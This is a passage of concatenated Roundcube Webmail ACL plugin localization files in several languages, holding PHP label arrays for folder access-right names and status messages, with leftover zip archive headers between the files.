$labels['anyone'] = 'Бүх хэрэглэгч (хүн бүр)';
$labels['anonymous'] = '(Үл таних) зочин';
$labels['identifier'] = 'Таних мэдээлэл';
$labels['acll'] = 'Хайх';
$labels['aclr'] = 'Зурвас унших';
$labels['acls'] = 'Харсан төлөвт хадгалах';
$labels['aclw'] = 'Тэмдэглэгээ хийх';
$labels['acli'] = 'Оруулах (хуулж)';
$labels['aclp'] = 'Бичлэг';
$labels['aclc'] = 'Дэд хавтас үүсгэх';
$labels['aclk'] = 'Дэд хавтас үүсгэх';
$labels['acld'] = 'Захиануудыг устгах';
$labels['aclt'] = 'Захиануудыг устгах';
$labels['acle'] = 'Устгах';
$labels['aclx'] = 'Хавтас устгах';
$labels['acla'] = 'Зохицуулагч';
$labels['acln'] = 'Тайлбар зурвас';
$labels['aclfull'] = 'Бүрэн удирдлага';
$labels['aclother'] = 'Бусад';
$labels['aclread'] = 'Уншсан';
$labels['aclwrite'] = 'Бичих';
$labels['acldelete'] = 'Устгах';
$labels['shortacll'] = 'Хайх';
$labels['shortaclr'] = 'Унших';
$labels['shortaclw'] = 'Бичих';
$labels['shortaclp'] = 'Бичлэг';
$labels['shortacld'] = 'Устгах';
$labels['shortaclt'] = 'Устгах';
$labels['shortacle'] = 'Устгах';
$labels['shortacla'] = 'Зохицуулагч';
$labels['shortaclother'] = 'Бусад';
$labels['shortaclread'] = 'Унших';
$labels['shortaclwrite'] = 'Бичих';
$labels['shortacldelete'] = 'Устгах';
PKh�\�t$$"plugins/acl/localization/he_IL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'שיתוף';
$labels['myrights'] = 'זכויות גישה';
$labels['username'] = 'משתמש:';
$labels['advanced'] = 'מצב מתקדם';
$labels['add'] = 'הוספה';
$labels['newuser'] = 'הוסף ערך';
$labels['editperms'] = 'עריכת הרשאות';
$labels['actions'] = 'פעולות על זכויות גישה...';
$labels['anyone'] = 'כל המשתמשים (כל אחד)';
$labels['anonymous'] = 'אורחים (אנונימי)';
$labels['identifier'] = 'מזהה';
$labels['acll'] = 'חיפוש';
$labels['aclr'] = 'קריאת הודעות';
$labels['acls'] = 'שמירה על סטטוס נראה';
$labels['aclw'] = 'דגלי כתיבה';
$labels['acli'] = 'הוספה בין ערכים (העתקה לתוך)';
$labels['aclp'] = 'פרסום';
$labels['aclc'] = 'יצירת תת־תיקיות';
$labels['aclk'] = 'יצירת תת־תיקיות';
$labels['acld'] = 'מחיקת הודעות';
$labels['aclt'] = 'מחיקת הודעות';
$labels['acle'] = 'ניקוי רשומות שבוטלו';
$labels['aclx'] = 'מחיקת תיקיה';
$labels['acla'] = 'מנהל';
$labels['acln'] = 'הוספה של הערת תיוג להודעות';
$labels['aclfull'] = 'שליטה מלאה';
$labels['aclother'] = 'אחר';
$labels['aclread'] = 'קריאה';
$labels['aclwrite'] = 'כתיבה';
$labels['acldelete'] = 'מחיקה';
$labels['shortacll'] = 'חיפוש';
$labels['shortaclr'] = 'קריאה';
$labels['shortacls'] = 'להשאיר';
$labels['shortaclw'] = 'כתיבה';
$labels['shortacli'] = 'הוספה בין ערכים';
$labels['shortaclp'] = 'פרסום';
$labels['shortaclc'] = 'יצירה';
$labels['shortaclk'] = 'יצירה';
$labels['shortacld'] = 'מחיקה';
$labels['shortaclt'] = 'מחיקה';
$labels['shortacle'] = 'ניקוי רשומות שבוטלו';
$labels['shortaclx'] = 'מחיקת תיקיה';
$labels['shortacla'] = 'מנהל';
$labels['shortacln'] = 'הוספה של הערת תיוג';
$labels['shortaclother'] = 'אחר';
$labels['shortaclread'] = 'קריאה';
$labels['shortaclwrite'] = 'כתיבה';
$labels['shortacldelete'] = 'מחיקה';
$labels['longacll'] = 'התיקיה תראה ברשימות וניתן יהיה להרשם אליה';
$labels['longaclr'] = 'ניתן לפתוח את התיקיה ולקרוא בה';
$labels['longacls'] = 'ניתן לשנות דגל נראה בהודעות';
$labels['longaclw'] = 'ניתן לשנות דגלים ומילות מפתח בהודעות, למעט נראה ונמחק';
$labels['longacli'] = 'ניתן לכתוב הודעות לתיקיה או למוחקן';
$labels['longaclp'] = 'ניתן לפרסם הודעות לתוך תיקיה זו';
$labels['longaclc'] = 'ניתן ליצור (או לשנות שם) תיקיות, ישירות תחת תיקיה זו';
$labels['longaclk'] = 'ניתן ליצור (או לשנות שם) תיקיות, ישירות תחת תיקיה זו';
$labels['longacld'] = 'ניתן לשנות דגל נמחק של הודעות';
$labels['longaclt'] = 'ניתן לשנות דגל נמחק של הודעות';
$labels['longacle'] = 'ניתן לנקות הודעות שסומנו כמבוטלות';
$labels['longaclx'] = 'ניתן למחוק תיקיה זו או לשנות שמה';
$labels['longacla'] = 'ניתן לשנות זכויות גישה של תיקיה זו';
$labels['longacln'] = 'ניתן לשנות הערות תיוג המשותפות להודעות';
$labels['longaclfull'] = 'שליטה מלאה כולל ניהול התיקיה';
$labels['longaclread'] = 'ניתן לפתוח את התיקיה ולקרוא בה';
$labels['longaclwrite'] = 'ניתן לסמן, לכתוב או להעתיק הודעות לתיקיה זו';
$labels['longacldelete'] = 'ניתן למחוק הודעות';
$labels['longaclother'] = 'זכויות גישה אחרות';
$labels['ariasummaryacltable'] = 'רשימת זכויות גישה';
$labels['arialabelaclactions'] = 'רשימת פעולות';
$labels['arialabelaclform'] = 'טופס זכויות גישה';
$messages['deleting'] = 'זכויות גישה נמחקות...';
$messages['saving'] = 'זכויות גישה נשמרות...';
$messages['updatesuccess'] = 'זכויות גישה שונו בהצלחה';
$messages['deletesuccess'] = 'זכויות גישה נמחקו בהצלחה';
$messages['createsuccess'] = 'זכויות גישה נוספו בהצלחה';
$messages['updateerror'] = 'לא ניתן לעדכן הרשאות גישה';
$messages['deleteerror'] = 'לא ניתן למחוק זכויות גישה';
$messages['createerror'] = 'לא ניתן להוסיף זכויות גישה';
$messages['deleteconfirm'] = 'האם ודאי שברצונך להסיר זכויות גישה של המשתמש(ים) שנבחרו?';
$messages['norights'] = 'לא צוינו זכויות גישה כלשהן !';
$messages['nouser'] = 'לא צוין שם משתמש כלשהו!';
PKh�\={���"plugins/acl/localization/ga_IE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Comhroinnt';
$labels['myrights'] = 'Cearta rochtana';
$labels['username'] = 'An tÚsáideoir:';
$labels['advanced'] = 'Mód le hardroghanna';
$labels['add'] = 'Cuir leis';
$labels['newuser'] = 'Cuir iontráil leis';
$labels['editperms'] = 'Cuir na ceadanna in eagar';
$labels['actions'] = 'Gníomhartha maidir le cearta rochtana...';
$labels['anyone'] = 'Gach duine';
$labels['anonymous'] = 'Aíonna (gan ainm)';
$labels['identifier'] = 'Aitheantóir';
$labels['acll'] = 'Cuardaigh';
$labels['aclr'] = 'Léigh teachtaireachtaí';
$labels['acls'] = 'Coinnigh an staid Feicthe';
$labels['aclw'] = 'Scríobh bratacha';
$labels['acli'] = 'Ionsáigh (macasamhlaigh isteach ann)';
$labels['aclp'] = 'Foilsigh';
$labels['aclc'] = 'Cruthaigh fófhillteáin';
$labels['aclk'] = 'Cruthaigh fofhillteáin';
$labels['acld'] = 'Scrios teachtaireachtaí';
$labels['aclt'] = 'Scrios teachtaireachtaí';
$labels['acle'] = 'Scrios';
$labels['aclx'] = 'Scrios an fillteán';
$labels['acla'] = 'Riar';
$labels['acln'] = 'Cuir nótaí le teachtaireachtaí';
$labels['aclfull'] = 'Smacht iomlán';
$labels['aclother'] = 'Eile';
$labels['aclread'] = 'Léite';
$labels['aclwrite'] = ' Cum';
$labels['acldelete'] = 'Scrios';
$labels['shortacll'] = 'Féach';
$labels['shortaclr'] = 'Léite';
$labels['shortacls'] = 'Coinnigh';
$labels['shortaclw'] = 'Cum';
$labels['shortacli'] = 'Ionsáigh';
$labels['shortaclp'] = 'Foilsigh';
$labels['shortaclc'] = 'Cruthaigh';
$labels['shortaclk'] = 'Cruthaigh';
$labels['shortacld'] = 'Scrios';
$labels['shortaclt'] = 'Scrios';
$labels['shortacle'] = 'Bain den liosta';
$labels['shortaclx'] = 'Scrios an fillteán';
$labels['shortacla'] = 'Riaraigh';
$labels['shortacln'] = 'Cuir nóta leis';
$labels['shortaclother'] = 'Eile';
$labels['shortaclread'] = 'Léite';
$labels['shortaclwrite'] = 'Scríobh';
$labels['shortacldelete'] = 'Scrios';
$labels['longacll'] = 'Tá an fillteán infheicthe ar liostaí agus is féidir sintiúis leis a ghlacadh';
$labels['longaclr'] = 'Is féidir an fillteán a oscailt chun é a léam';
$labels['longacls'] = 'Is féidir bratach Teachtaireachtaí Feicthe a athrú';
$labels['longaclw'] = 'Is féidir bratacha agus treoirfhocail na dteachtaireachtaí a athrú, cé is moite de Feicthe agus Scriosta';
$labels['longacli'] = 'Is féidir teachtaireachtaí a scríobh nó a mhacasamhlú chuig an bhfillteán';
$labels['longaclp'] = 'Is féidir teachtaireachtaí a fhoilsiú chuig an bhfillteán seo';
$labels['longaclc'] = 'Is féidir fillteáin a chruthú (nó iad a athainmniú) go díreach faoin bhfillteán sin';
$labels['longaclk'] = 'Is féidir fillteáin a chruthú (nó iad a athainmniú) go díreach faoin bhfillteán sin';
$labels['longacld'] = 'Is féidir bratach Scrios Teachétaireachtaí a athrú';
$labels['longaclt'] = 'Is féidir bratach Scrios Teachétaireachtaí a athrú';
$labels['longacle'] = 'Is féidir teachtaireachtaí a bhaint de';
$labels['longaclx'] = 'Is féidir an fillteán seo a scriosadh nó é athainmniú';
$labels['longacla'] = 'Is féidir cearta rochtana an fhillteáin a athrú';
$labels['longacln'] = 'Is féidir meiteashonraí comhroinnte na dteachtaireachtaí (nótaí mínithe) a athrú';
$labels['longaclfull'] = 'Smacht iomlán lena n-áirítear riar an fhillteáin';
$labels['longaclread'] = 'Is féidir an fillteán a oscailt chun é a léamh';
$labels['longaclwrite'] = 'Is féidir teachtaireachtaí a rianú, a scríobh nó a mhacasamhlú chuig an bhfillteán';
$labels['longacldelete'] = 'Is féidir teachtaireachtaí a scriosadh';
$labels['longaclother'] = 'Cearta rochtana eile';
$labels['ariasummaryacltable'] = 'Liosta de na cearta rochtana';
$labels['arialabelaclactions'] = 'Sonraigh na gníomhartha';
$labels['arialabelaclform'] = 'Cearta rochtana ó';
$messages['deleting'] = 'Ag scriosadh cearta rochtana...';
$messages['saving'] = 'Ag taisceadh cearta rochtana...';
$messages['updatesuccess'] = 'Athraíodh go rathúil na cearta rochtana';
$messages['deletesuccess'] = 'Scriosadh go rathúil na cearta rochtana';
$messages['createsuccess'] = 'Cuireadh na cearta rochtana go rathúil leis';
$messages['updateerror'] = 'Ní féidir na cearta rochtana a nuashonrú';
$messages['deleteerror'] = 'Ní féidir na cearta rochtana a scriosadh';
$messages['createerror'] = 'Ní féidir cearta rochtana a chur leis';
$messages['deleteconfirm'] = 'An bhfuil tú cinnte gur mian leat na cearta rochtana a bhaint den úsáideoir(í) roghnaithe?';
$messages['norights'] = 'Níor sonraíodh aon chearta!';
$messages['nouser'] = 'Níor sonraíodh aon ainm úsáideora!';
PKh�\�_�!QQ"plugins/acl/localization/da_DK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Deling';
$labels['myrights'] = 'Adgangrettigheder';
$labels['username'] = 'Bruger:';
$labels['advanced'] = 'Avanceret tilstand';
$labels['add'] = 'Tilføje';
$labels['newuser'] = 'Tilføj indgang';
$labels['editperms'] = 'Rediger tilladelser';
$labels['actions'] = 'Tilgangsrettigheder...';
$labels['anyone'] = 'Alle brugere';
$labels['anonymous'] = 'Gæst (anonym)';
$labels['identifier'] = 'Identifikator';
$labels['acll'] = 'Slå op';
$labels['aclr'] = 'Læs beskeder';
$labels['acls'] = 'Behold læst-status';
$labels['aclw'] = 'Skriv flag';
$labels['acli'] = 'Indsæt (kopier ind i)';
$labels['aclp'] = 'Send';
$labels['aclc'] = 'Opret undermapper';
$labels['aclk'] = 'Opret undermapper';
$labels['acld'] = 'Slet beskeder';
$labels['aclt'] = 'Slet beskeder';
$labels['acle'] = 'Udslet';
$labels['aclx'] = 'Slet mappe';
$labels['acla'] = 'Administrer';
$labels['acln'] = 'Annoter beskeder';
$labels['aclfull'] = 'Fuld kontrol';
$labels['aclother'] = 'Andet';
$labels['aclread'] = 'Læse';
$labels['aclwrite'] = 'Skrive';
$labels['acldelete'] = 'Slet';
$labels['shortacll'] = 'Slå op';
$labels['shortaclr'] = 'Læse';
$labels['shortacls'] = 'Behold';
$labels['shortaclw'] = 'Skrive';
$labels['shortacli'] = 'Indsæt';
$labels['shortaclp'] = 'Send';
$labels['shortaclc'] = 'Opret';
$labels['shortaclk'] = 'Opret';
$labels['shortacld'] = 'Slet';
$labels['shortaclt'] = 'Slet';
$labels['shortacle'] = 'Udslet';
$labels['shortaclx'] = 'Slet mappe';
$labels['shortacla'] = 'Administrer';
$labels['shortacln'] = 'Annoter';
$labels['shortaclother'] = 'Andet';
$labels['shortaclread'] = 'Læse';
$labels['shortaclwrite'] = 'Skrive';
$labels['shortacldelete'] = 'Slet';
$labels['longacll'] = 'Mappen er synlig på listen og kan abonneres på';
$labels['longaclr'] = 'Mappen kan åbnes for læsning';
$labels['longacls'] = 'Beskeders Læst-flag kan ændres';
$labels['longaclw'] = 'Beskeders flag og nøgleord kan ændres med undtagelse af Læst og Slettet';
$labels['longacli'] = 'Beskeder kan blive skrevet eller kopieret til mappen';
$labels['longaclp'] = 'Beskeder kan sendes til denne mappe';
$labels['longaclc'] = 'Mapper kan blive oprettet (eller omdøbt) direkte under denne mappe';
$labels['longaclk'] = 'Mapper kan blive oprettet (eller omdøbt) direkte under denne mappe';
$labels['longacld'] = 'Beskeders Slet-flag kan ændres';
$labels['longaclt'] = 'Beskeders Slet-flag kan ændres';
$labels['longacle'] = 'Beskeder kan slettes';
$labels['longaclx'] = 'Mappen kan blive slettet eller omdøbt';
$labels['longacla'] = 'Mappen adgangsrettigheder kan ændres';
$labels['longacln'] = 'Meddelte delte metadata (annoteringer) kan ændres';
$labels['longaclfull'] = 'Fuld kontrol inklusiv mappeadministration';
$labels['longaclread'] = 'Mappen kan åbnes for læsning';
$labels['longaclwrite'] = 'Beskeder kan blive markeret, skrevet eller kopieret til mappen';
$labels['longacldelete'] = 'Beskeder kan slettes';
$labels['longaclother'] = 'Andre adgangsrettigheder';
$labels['ariasummaryacltable'] = 'Liste over adgangsrettigheder';
$labels['arialabelaclactions'] = 'Liste handlinger';
$labels['arialabelaclform'] = 'Adgangsret form';
$messages['deleting'] = 'Slette rettigheder...';
$messages['saving'] = 'Gemme rettigheder...';
$messages['updatesuccess'] = 'Tilgangsrettighederne blev ændret';
$messages['deletesuccess'] = 'Sletterettigheder blev ændret';
$messages['createsuccess'] = 'Tilgangsrettigheder blev tilføjet';
$messages['updateerror'] = 'Kunne ikke opdatere adgangsrettigheder';
$messages['deleteerror'] = 'Kunne ikke slette tilgangsrettigheder';
$messages['createerror'] = 'Kunne ikke tilføje tilgangsrettigheder';
$messages['deleteconfirm'] = 'Er du sikker på, at du vil slette tilgangsrettigheder fra de(n) valgte bruger(e)?';
$messages['norights'] = 'Der er ikke specificeret nogle rettigheder!';
$messages['nouser'] = 'Der er ikke angiver et brugernavn!';
PKh�\��T���"plugins/acl/localization/sl_SI.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Skupna raba';
$labels['myrights'] = 'Pravice dostopa';
$labels['username'] = 'Uporabnik:';
$labels['advanced'] = 'Napredni način';
$labels['add'] = 'Dodaj';
$labels['newuser'] = 'Dodaj vnos';
$labels['editperms'] = 'Uredi pravice';
$labels['actions'] = 'Nastavitve pravic dostopa';
$labels['anyone'] = 'Vsi uporabniki';
$labels['anonymous'] = 'Gosti';
$labels['identifier'] = 'Označevalnik';
$labels['acll'] = 'Iskanje';
$labels['aclr'] = 'Prebrana sporočila';
$labels['acls'] = 'Ohrani status \'Prebrano\'';
$labels['aclw'] = 'Označi pisanje sporočila';
$labels['acli'] = 'Vstavi (Kopiraj v)';
$labels['aclp'] = 'Objava';
$labels['aclc'] = 'Ustvari podmape';
$labels['aclk'] = 'Ustvari podmape';
$labels['acld'] = 'Izbriši sporočila';
$labels['aclt'] = 'Izbriši sporočila';
$labels['acle'] = 'Izbriši';
$labels['aclx'] = 'Izbriši mapo';
$labels['acla'] = 'Uredi';
$labels['acln'] = 'Komentarji';
$labels['aclfull'] = 'Popolno upravljanje';
$labels['aclother'] = 'Ostalo';
$labels['aclread'] = 'Preberi';
$labels['aclwrite'] = 'Sestavi';
$labels['acldelete'] = 'Izbriši';
$labels['shortacll'] = 'Iskanje';
$labels['shortaclr'] = 'Preberi';
$labels['shortacls'] = 'Ohrani';
$labels['shortaclw'] = 'Sestavi';
$labels['shortacli'] = 'Vstavi';
$labels['shortaclp'] = 'Objava';
$labels['shortaclc'] = 'Ustvari';
$labels['shortaclk'] = 'Ustvari';
$labels['shortacld'] = 'Izbriši';
$labels['shortaclt'] = 'Izbriši';
$labels['shortacle'] = 'Izbriši';
$labels['shortaclx'] = 'Izbriši mapo';
$labels['shortacla'] = 'Uredi';
$labels['shortacln'] = 'Dodaj komentar';
$labels['shortaclother'] = 'Ostalo';
$labels['shortaclread'] = 'Preberi';
$labels['shortaclwrite'] = 'Sestavi';
$labels['shortacldelete'] = 'Izbriši';
$labels['longacll'] = 'Mapa je vidna na seznamih in jo lahko naročite';
$labels['longaclr'] = 'Mapa je na voljo za branje';
$labels['longacls'] = 'Oznaka \'Prebrano sporočilo\' je lahko spremenjena';
$labels['longaclw'] = 'Oznake sporočil in ključne besede je mogoče spremeniti, z izjemo oznak "Prebrano" in "Izbrisano';
$labels['longacli'] = 'Sporočilo je lahko poslano ali kopirano v mapo';
$labels['longaclp'] = 'Sporočilo je lahko poslano v to mapo';
$labels['longaclc'] = 'V tej mapi so lahko ustvarjene (ali preimenovane) podmape';
$labels['longaclk'] = 'V tej mapi so lahko ustvarjene (ali preimenovane) podmape';
$labels['longacld'] = 'Oznako sporočila  \'Izbrisano\' je mogoče spremeniti';
$labels['longaclt'] = 'Oznako sporočila  \'Izbrisano\' je mogoče spremeniti';
$labels['longacle'] = 'Sporočila so lahko izbrisana';
$labels['longaclx'] = 'Mapa je lahko izbrisana ali preimenovana';
$labels['longacla'] = 'Pravice na mapi so lahko spremenjene';
$labels['longacln'] = 'Metapodatke (komentarjev), ki so v skupni rabi, je mogoče spremeniti';
$labels['longaclfull'] = 'Popolno upravljanje, vključno z urejanjem map';
$labels['longaclread'] = 'Mapa je na voljo za branje';
$labels['longaclwrite'] = 'Sporočila je mogoče označiti, sestaviti ali kopirati v mapo';
$labels['longacldelete'] = 'Sporočila so lahko izbrisana';
$labels['longaclother'] = 'Ostale pravice dostopa';
$labels['ariasummaryacltable'] = 'Seznam pravic dostopa';
$labels['arialabelaclactions'] = 'Prikaži možnosti';
$labels['arialabelaclform'] = 'Obrazec za nastavitve pravic dostopa';
$messages['deleting'] = 'Brisanje pravic';
$messages['saving'] = 'Shranjevanje pravic';
$messages['updatesuccess'] = 'Pravice so bile uspešno spremenjene';
$messages['deletesuccess'] = 'Pravice so bile uspešno izbrisane';
$messages['createsuccess'] = 'Pravice so bile uspešno dodane';
$messages['updateerror'] = 'Pravic ni mogoče posodobiti';
$messages['deleteerror'] = 'Pravic ni mogoče izbrisati';
$messages['createerror'] = 'Pravic ni bilo mogoče dodati';
$messages['deleteconfirm'] = 'Ste prepričani, da želite odstraniti pravice dostopa za izbrane uporabnike?';
$messages['norights'] = 'Pravic niste določili';
$messages['nouser'] = 'Niste določili uporabnišlega imena';
PKh�\�-I$$plugins/acl/localization/ar.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['username'] = 'المستخدم :';
$labels['advanced'] = 'الوضع المتقدم';
$labels['add'] = 'إضافة';
$labels['acld'] = 'حذف الرسائل';
$labels['aclt'] = 'حذف الرسائل';
$labels['aclx'] = 'حذف المجلد';
$labels['aclother'] = 'آخر';
$labels['acldelete'] = 'حذف';
$labels['shortaclc'] = 'أنشئ';
$labels['shortaclk'] = 'أنشئ';
$labels['shortacld'] = 'حذف';
$labels['shortaclt'] = 'حذف';
$labels['shortaclother'] = 'آخر';
$labels['shortacldelete'] = 'حذف';
PKh�\�w�**"plugins/acl/localization/si_LK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['add'] = 'එක් කරන්න';
$labels['aclother'] = 'වෙනත්';
$labels['aclread'] = 'කියවන්න';
$labels['acldelete'] = 'මකන්න';
$labels['shortaclr'] = 'කියවන්න';
$labels['shortaclc'] = 'තනන්න';
$labels['shortaclk'] = 'තනන්න';
$labels['shortacld'] = 'මකන්න';
$labels['shortaclt'] = 'මකන්න';
$labels['shortaclother'] = 'වෙනත්';
$labels['shortaclread'] = 'කියවන්න';
$labels['shortacldelete'] = 'මකන්න';
PKh�\.1Z�ff"plugins/acl/localization/de_DE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Freigabe';
$labels['myrights'] = 'Zugriffsrechte';
$labels['username'] = 'Benutzer:';
$labels['advanced'] = 'Erweiterter Modus';
$labels['add'] = 'Hinzufügen';
$labels['newuser'] = 'Eintrag hinzufügen';
$labels['editperms'] = 'Zugriffsrechte bearbeiten';
$labels['actions'] = 'Zugriffsrechteaktionen …';
$labels['anyone'] = 'Alle Benutzer (anyone)';
$labels['anonymous'] = 'Gäste (anonymous)';
$labels['identifier'] = 'Bezeichnung';
$labels['acll'] = 'Sichtbar';
$labels['aclr'] = 'Nachrichten lesen';
$labels['acls'] = 'Lesestatus ändern';
$labels['aclw'] = 'Flags schreiben';
$labels['acli'] = 'Nachrichten hinzufügen';
$labels['aclp'] = 'Senden an';
$labels['aclc'] = 'Unterordner erstellen';
$labels['aclk'] = 'Unterordner erstellen';
$labels['acld'] = 'Nachrichten als gelöscht markieren';
$labels['aclt'] = 'Nachrichten als gelöscht markieren';
$labels['acle'] = 'Endgültig löschen';
$labels['aclx'] = 'Ordner löschen';
$labels['acla'] = 'Verwalten';
$labels['acln'] = 'Nachrichten kommentieren';
$labels['aclfull'] = 'Vollzugriff';
$labels['aclother'] = 'Andere';
$labels['aclread'] = 'Lesen';
$labels['aclwrite'] = 'Schreiben';
$labels['acldelete'] = 'Löschen';
$labels['shortacll'] = 'Sichtbar';
$labels['shortaclr'] = 'Lesen';
$labels['shortacls'] = 'Lesestatus';
$labels['shortaclw'] = 'Schreiben';
$labels['shortacli'] = 'Hinzufügen';
$labels['shortaclp'] = 'Senden an';
$labels['shortaclc'] = 'Erstellen';
$labels['shortaclk'] = 'Erstellen';
$labels['shortacld'] = 'Löschen';
$labels['shortaclt'] = 'Löschen';
$labels['shortacle'] = 'Endgültig löschen';
$labels['shortaclx'] = 'Ordner löschen';
$labels['shortacla'] = 'Verwalten';
$labels['shortacln'] = 'Kommentieren';
$labels['shortaclother'] = 'Andere';
$labels['shortaclread'] = 'Lesen';
$labels['shortaclwrite'] = 'Schreiben';
$labels['shortacldelete'] = 'Löschen';
$labels['longacll'] = 'Der Ordner ist sichtbar und kann abonniert werden';
$labels['longaclr'] = 'Der Ordnerinhalt kann gelesen werden';
$labels['longacls'] = 'Der Lesestatus von Nachrichten kann geändert werden';
$labels['longaclw'] = 'Alle Nachrichten-Flags und Schlüsselwörter außer "Gelesen" und "Gelöscht" können geändert werden';
$labels['longacli'] = 'Nachrichten können in diesen Ordner kopiert oder verschoben werden';
$labels['longaclp'] = 'Nachrichten können an diesen Ordner gesendet werden';
$labels['longaclc'] = 'Unterordner können in diesem Ordner erstellt oder umbenannt werden';
$labels['longaclk'] = 'Unterordner können in diesem Ordner erstellt oder umbenannt werden';
$labels['longacld'] = 'Der "gelöscht" Status von Nachrichten kann geändert werden';
$labels['longaclt'] = 'Der "gelöscht" Status von Nachrichten kann geändert werden';
$labels['longacle'] = 'Als "gelöscht" markiert Nachrichten können gelöscht werden.';
$labels['longaclx'] = 'Der Ordner kann gelöscht oder umbenannt werden';
$labels['longacla'] = 'Die Zugriffsrechte des Ordners können geändert werden';
$labels['longacln'] = 'Nachrichten Metadaten (Vermerke) können geändert werden';
$labels['longaclfull'] = 'Vollzugriff inklusive Ordner-Verwaltung';
$labels['longaclread'] = 'Der Ordnerinhalt kann gelesen werden';
$labels['longaclwrite'] = 'Nachrichten können markiert, an den Ordner gesendet und in den Ordner kopiert oder verschoben werden';
$labels['longacldelete'] = 'Nachrichten können gelöscht werden';
$labels['longaclother'] = 'Andere Zugriffsrechte';
$labels['ariasummaryacltable'] = 'Liste von Zugriffsrechten';
$labels['arialabelaclactions'] = 'Aktionen anzeigen';
$labels['arialabelaclform'] = 'Zugriffsrechteformular';
$messages['deleting'] = 'Zugriffsrechte werden entzogen...';
$messages['saving'] = 'Zugriffsrechte werden gewährt...';
$messages['updatesuccess'] = 'Zugriffsrechte erfolgreich geändert';
$messages['deletesuccess'] = 'Zugriffsrechte erfolgreich entzogen';
$messages['createsuccess'] = 'Zugriffsrechte erfolgreich gewährt';
$messages['updateerror'] = 'Zugriffsrechte konnten nicht geändert werden';
$messages['deleteerror'] = 'Zugriffsrechte konnten nicht entzogen werden';
$messages['createerror'] = 'Zugriffsrechte konnten nicht gewährt werden';
$messages['deleteconfirm'] = 'Sind Sie sicher, daß Sie die Zugriffsrechte den ausgewählten Benutzern entziehen möchten?';
$messages['norights'] = 'Es wurden keine Zugriffsrechte ausgewählt!';
$messages['nouser'] = 'Es wurde kein Benutzer ausgewählt!';
PKh�\��3��"plugins/acl/localization/sv_SE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Utdelning';
$labels['myrights'] = 'Åtkomsträttigheter';
$labels['username'] = 'Användare:';
$labels['advanced'] = 'Avancerat läge';
$labels['add'] = 'Lägg till';
$labels['newuser'] = 'Lägg till';
$labels['editperms'] = 'Ändra rättigheter';
$labels['actions'] = 'Hantera åtkomsträttigheter...';
$labels['anyone'] = 'Alla användare (vem som helst)';
$labels['anonymous'] = 'Gäster (anonyma)';
$labels['identifier'] = 'Identifikation';
$labels['acll'] = 'Uppslagning';
$labels['aclr'] = 'Läs meddelanden';
$labels['acls'] = 'Behåll status Läst';
$labels['aclw'] = 'Skriv flaggor';
$labels['acli'] = 'Infoga (kopiera in)';
$labels['aclp'] = 'Posta';
$labels['aclc'] = 'Skapa undermappar';
$labels['aclk'] = 'Skapa undermappar';
$labels['acld'] = 'Ta bort meddelanden';
$labels['aclt'] = 'Ta bort meddelanden';
$labels['acle'] = 'Utplåna';
$labels['aclx'] = 'Ta bort mapp';
$labels['acla'] = 'Administrera';
$labels['acln'] = 'Kommentera meddelanden';
$labels['aclfull'] = 'Full kontroll';
